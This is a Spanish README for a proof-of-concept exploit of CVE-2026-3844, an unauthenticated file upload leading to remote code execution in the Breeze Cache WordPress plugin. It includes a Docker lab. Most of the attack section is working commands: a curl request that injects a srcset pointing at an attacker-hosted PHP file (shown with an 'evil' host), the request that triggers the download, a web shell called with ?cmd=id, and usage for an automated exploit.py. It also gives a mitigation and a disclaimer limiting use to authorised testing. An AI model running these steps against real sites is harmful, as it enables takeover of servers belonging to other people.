
Prueba de concepto del exploit para CVE-2026-3844, una subida de archivos arbitraria sin autenticación que conduce a la ejecución remota de código en Breeze Cache <= 2.4.4. Incluye laboratorio Docker y script de exploit automatizado.
| Campo | Valor |
|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 Crítico (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — Subida Sin Restricciones de Archivos con Tipo Peligroso |
| Plugin | Breeze Cache de Cloudways |
| Afectado | Todas las versiones hasta la 2.4.4 inclusive |
| Corregido | 2.4.5 (changeset 3511463) |
| Instalaciones | Más de 400.000 instalaciones activas de WordPress |
| Descubierto por | Hung Nguyen (bashu) |
| Divulgado | 2026-04-23 |
La función fetch_gravatar_from_remote() en inc/class-breeze-cache-cronjobs.php descarga
URLs remotas y las guarda en un directorio accesible desde la web usando el nombre de archivo
y la extensión originales de la URL. No hay validación de tipo MIME, no hay lista blanca de
extensiones y no hay inspección de contenido.
Cuando la opción "Host Files Locally - Gravatars" está habilitada, el plugin se engancha al filtro
get_avatar de WordPress mediante breeze_replace_gravatar_image(). Esta función usa una regex
para extraer URLs de los atributos srcset y src en el HTML del avatar. Un atacante puede
inyectar un atributo srcset malicioso publicando un comentario con un nombre de autor
manipulado, haciendo que el plugin descargue y almacene en caché un archivo PHP arbitrario.
Lo que falta:
.php, .phtml, .phar son aceptadas)Atacante WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | Comentario guardado
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | El filtro get_avatar se activa
| | breeze_replace_gravatar_image()
| | extrae la URL srcset mediante regex
| | llama a fetch_gravatar_from_remote()
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| Contenido del archivo PHP |
| -----------------------------> |
| | Guardado en:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP se ejecuta como www-data
| uid=33(www-data) |
| <------------------------------------ |
Este PoC incluye un entorno Docker autónomo con:
requests (pip install requests)cd docker/
docker compose up -d --build
Espere ~30 segundos para que WordPress se inicialice. Verifique:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Esperado: Stable tag: 2.4.4
La configuración de Docker automáticamente:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
Reemplace PAYLOAD_IP con la IP del contenedor de carga útil:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
Respuesta esperada: redirección HTTP 302 a la página de la entrada.
Visite la página de la entrada para que WordPress renderice el avatar del comentario, lo que
activa el filtro get_avatar de Breeze y descarga la carga útil:
curl -s "http://localhost:8088/?p=1" > /dev/null
El HTML renderizado muestra que Breeze extrajo el srcset inyectado y almacenó en caché la carga útil:
La carga útil PHP se escribe literalmente, propiedad de www-data:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]
-t, --target URL objetivo de WordPress (obligatorio)
-p, --payload URL de la carga útil PHP a subir
--post-id ID específico de la entrada para comentar
--timeout Tiempo de espera HTTP en segundos (por defecto: 15)
--wait Segundos de espera para el cron (por defecto: 12)
--check-only Solo verificar la versión del plugin, sin explotar
cd docker/
docker compose down -v --remove-orphans
.htaccess en wp-content/cache/breeze-extra/gravatars/:
<FilesMatch "\.ph(p|tml|ar)$">
Require all denied
</FilesMatch>
cve-2026-3844/
README.md # Este archivo
docker/
Dockerfile # Imagen WordPress + Breeze 2.4.4
docker-compose.yml # Laboratorio completo (WP + MariaDB + servidor de carga útil)
entrypoint-custom.sh # Auto-configura WP con ajustes vulnerables
poc/
exploit.py # Script de explotación PoC automatizado
validate.sh # Marco de validación Docker de extremo a extremo
payloads/
shell.php # Carga útil PoC inofensiva (echo + id)
screenshots/ # Capturas de terminal SVG (Charm freeze)
validation/ # Salida de validación de explotabilidad RAPTOR
Esta prueba de concepto se proporciona únicamente para pruebas de seguridad autorizadas, educación e investigación defensiva. El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito de prueba es ilegal.